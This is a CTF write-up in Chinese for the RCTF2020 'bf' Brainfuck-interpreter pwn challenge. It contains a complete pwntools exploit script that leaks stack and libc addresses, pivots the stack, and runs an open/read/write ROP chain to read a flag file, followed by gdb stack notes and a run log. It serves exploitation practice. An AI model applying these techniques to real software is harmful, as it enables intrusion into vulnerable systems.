一直没明白BrainFuck是个啥东西,学着作一遍,这个大概就有点明白了。
BrainFuck一共有8个符号分别是“<>”移动指针 []循环 “+-”指针处值增减1 “.”输出“,”输入
思路:
- 当输入长度较小里会被放在栈里,并有一个栈里的指针。先利用一个循环将指针移溢出到栈指针处,并输入一个数覆盖尾字节,用这个字节调整指向的位置。泄露rbp和libc
- 将指针指向返回地址处,在这里写入rop
- rop由BrainFuck代码读入,然后当回返里移栈到这里进行orw
完整exp:
from pwn import *
elf = ELF('./pwn')
libc_elf = ELF('/home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64', log_level='critical')
def connect(local=1):
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27672)
return p
def pwn():
#get stack
payload = b'+[>+],' #Brainfuck
p.sendlineafter(b"enter your code:", payload) #len(payload)<=8 -->stack >8 -->heap
p.sendafter(b"running....", b'\xb0')
p.recvuntil(b"done! your code: ", timeout=0.2)
tmp = u64(p.recv(6).ljust(8, b'\x00'))
if tmp>>40 != 0x7f:
raise('no stack ...')
stack = tmp
print('stack', hex(tmp))
#get libc
p.sendafter(b"want to continue?", b'y')
p.sendlineafter(b"enter your code:", payload)
p.sendafter(b"running....", b'\xc8')
p.recvuntil(b"done! your code: ", timeout=0.2)
tmp = u64(p.recv(6).ljust(8, b'\x00'))
if tmp>>40 != 0x7f:
raise('no libc ...')
libc_base = tmp - libc_start_main_ret
libc_elf.address = libc_base
print('libc:', hex(tmp))
#gdb.attach(p)
#pause()
pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
pop_rsi = next(libc_elf.search(asm('pop rsi; ret')))
pop_rdx = next(libc_elf.search(asm('pop rdx; ret')))
pop_rsp = next(libc_elf.search(asm('pop rsp; ret')))
rop_addr = stack - 0x1c0
flag_addr = rop_addr + 0x98
#3
p.sendafter(b"want to continue?", b'y')
p.sendlineafter(b"enter your code:", payload)
p.sendafter(b"running....", b'\xc0')
#4
p.sendafter(b"want to continue?", b'y')
payload = b'+[,>+],a' + p64(pop_rsp) + p64(rop_addr)
p.sendlineafter(b"enter your code:", payload)
rop = flat(pop_rdi, flag_addr, pop_rsi, 0, libc_elf.sym['open'],
pop_rdi, 3, pop_rsi, flag_addr, pop_rdx, 0x30, libc_elf.sym['read'],
pop_rdi, 1, pop_rsi, flag_addr, pop_rdx, 0x30, libc_elf.sym['write'],
b'./flag\x00a')
rop = rop.rjust(0x400, b'a') + b'\x90' #操作区总长度0x400 在后部写rop
#p.sendafter(b"running....", rop.rlust(0x400, b'a') + b'a' + b'\x90')
for i in range(0x401):
p.send(rop[i: i+1])
p.interactive()
while True:
try:
p = connect(1)
pwn()
except KeyboardInterrupt as e:
exit()
except:
p.close()
'''
Brainfuck C
>,< ++ptr;--ptr;
+,- ++*ptr;--*ptr;
. putchar(*ptr);
, *ptr =getch();
[,] while (*ptr) { xxx }
gdb-peda$ tel 0x7ffd98a74490-0x90 30
0000| 0x7ffd98a74400 --> 0x101010101010101
...
0120| 0x7ffd98a74478 --> 0x101010101010101
0128| 0x7ffd98a74480 --> 0x7ffd98a744(b0) --> 0x7ffd98a745a0 --> 0x1 #string 0 b0:stack,c8:libc_ret 指向输入串,修改为指向rbp
0136| 0x7ffd98a74488 --> 0x6 # 1
0144| 0x7ffd98a74490 --> 0x2c5d2b3e5b2b ('+[>+],') # 2 当输入小于8时存在栈内
0152| 0x7ffd98a74498 --> 0x0 # 3
0160| 0x7ffd98a744a0 --> 0x5626734fb980 (push r15) # 4
0168| 0x7ffd98a744a8 --> 0xe60fa378106a5400 #canary 5
0176| 0x7ffd98a744b0 --> 0x7ffd98a745a0 --> 0x1 #0xb0 ptr->0 6
0184| 0x7ffd98a744b8 --> 0x0 7
0192| 0x7ffd98a744c0 --> 0x5626734fb980 (push r15) #0xc0 rbp
0200| 0x7ffd98a744c8 --> 0x7f2e71c0fb97 (<__libc_start_main+231>) #0xc8 libc_start_main_ret
shi@ubuntu:~/bmzclub.pwn/42_rctf2020-bf$ py a.py
stack 0x7ffe91f2efb0
stack 0x7ffcaaa40ea0
libc: 0x7f7f7fef3b97
running....
done! your code: +[>+],\x00\x00\x00\x00\x00\x80\xd9\xf8|JV\x00
want to continue?
$
flag{test_flag!!!!!!!!!!!!!!!!!!}
\x00\x00\x00\x80\xd9\xf8|JV\x00$
'''